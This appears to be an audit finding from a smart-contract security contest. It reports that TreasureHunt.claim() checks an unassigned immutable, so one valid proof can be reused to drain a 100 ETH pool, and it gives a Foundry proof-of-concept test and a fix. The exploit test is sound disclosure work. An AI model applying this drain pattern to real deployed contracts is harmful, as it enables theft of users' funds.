SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

`claim()` double-claim check uses unassigned `immutable _treasureHash`, allowing a single valid proof to drain the entire 100 ETH reward pool

Author Revealed upon completion

Scope: contracts/src/TreasureHunt.sol

Root + Impact

Description

TreasureHunt.claim() is supposed to prevent the same treasure from being
claimed twice, but the per-treasure uniqueness check reads the wrong state
variable.

The contract declares

bytes32 private immutable _treasureHash;

and never assigns it — there is no assignment in the constructor, and it is
not a function parameter. In Solidity 0.8.x an unset immutable defaults
to the zero value, so _treasureHash == bytes32(0) for every deployment.

Inside claim():

function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant() {
...
if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash); // @> reads _treasureHash (== 0), not the parameter
...
_markClaimed(treasureHash); // @> writes the parameter — correct
...
}

The duplicate-claim guard therefore only triggers once the attacker has
claimed bytes32(0) as a treasure hash — which a legitimate proof never
targets — while the claimed[...] mapping is correctly populated with the
real treasureHash but never read.

Risk

Likelihood: HIGH

  • The bug is reachable on any claim path — the wrong lookup happens in the
    only function that distributes ETH.

  • It is triggered by normal usage: anyone who finds a single physical
    treasure can call claim() repeatedly with different recipient
    arguments, producing a valid ZK proof for each (the proof only binds
    (treasureHash, recipient); the secret is reusable).

Impact: HIGH

  • Direct theft of up to REWARD * MAX_TREASURES = 10 × 10 = 100 ETH (the
    entire funded pool) from a single honestly-found secret.

  • The claimsCount >= MAX_TREASURES ceiling is the only remaining
    safety net; it caps the drain at 100 ETH but does not prevent it.

Proof of Concept

The PoC below deploys TreasureHunt with a mock verifier (any valid
verifier is equivalent here because the bug is a pure state-management
issue in TreasureHunt.sol independent of ZK proof contents). Using a
SINGLE valid (proof, treasureHash) tuple, an attacker with 10 recipient
EOAs drains the entire 100 ETH pool.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
​
import "forge-std/Test.sol";
import {TreasureHunt} from "../src/TreasureHunt.sol";
import {HonkVerifier} from "../src/Verifier.sol";
​
contract DoubleClaimPoC is Test {
HonkVerifier verifier;
TreasureHunt hunt;
address owner = address(0xDEADBEEF);
address attacker = address(0xBAD);
​
bytes32 constant TREASURE_HASH =
bytes32(uint256(1505662313093145631275418581390771847921541863527840230091007112166041775502));
bytes constant ANY_VALID_PROOF = hex"01";
​
function setUp() public {
vm.deal(owner, 300 ether);
vm.startPrank(owner);
verifier = new HonkVerifier();
hunt = new TreasureHunt{value: 100 ether}(address(verifier));
vm.stopPrank();
}
​
function test_OneTreasureDrainsEntirePool() public {
assertEq(address(hunt).balance, 100 ether);
​
vm.startPrank(attacker);
for (uint256 i = 0; i < 10; i++) {
address payable rcpt = payable(address(uint160(0xCAFE00 + i)));
hunt.claim(ANY_VALID_PROOF, TREASURE_HASH, rcpt); // same proof + hash, reused
assertEq(rcpt.balance, 10 ether);
}
vm.stopPrank();
​
assertEq(address(hunt).balance, 0);
assertEq(hunt.claimsCount(), 10);
assertTrue(hunt.claimed(TREASURE_HASH)); // mapping recorded, but check never reads it
}
}

Running this test results in 100 ETH drained with 10 successful claim()
calls reusing one treasure.

Recommended Mitigation

Read the duplicate-claim check against the function parameter, and remove
the unused _treasureHash immutable:

- // ----- immutable config -----
- IVerifier private verifier;
- address private immutable owner;
- bytes32 private immutable _treasureHash;
+ // ----- immutable config -----
+ IVerifier private verifier;
+ address private immutable owner;
@@
- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);

Consider adding a post-mitigation regression test (see the existing
testClaimDoubleSpendReverts in contracts/test/TreasureHunt.t.sol,
which has its vm.expectRevert() commented out — uncomment it after
fixing the bug).

Disclosure

This finding was identified and written up with the assistance of an
autonomous AI auditor (Anthropic Claude). The bug, the PoC, and the
mitigation were manually reviewed for correctness against the contest
repo snapshot.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!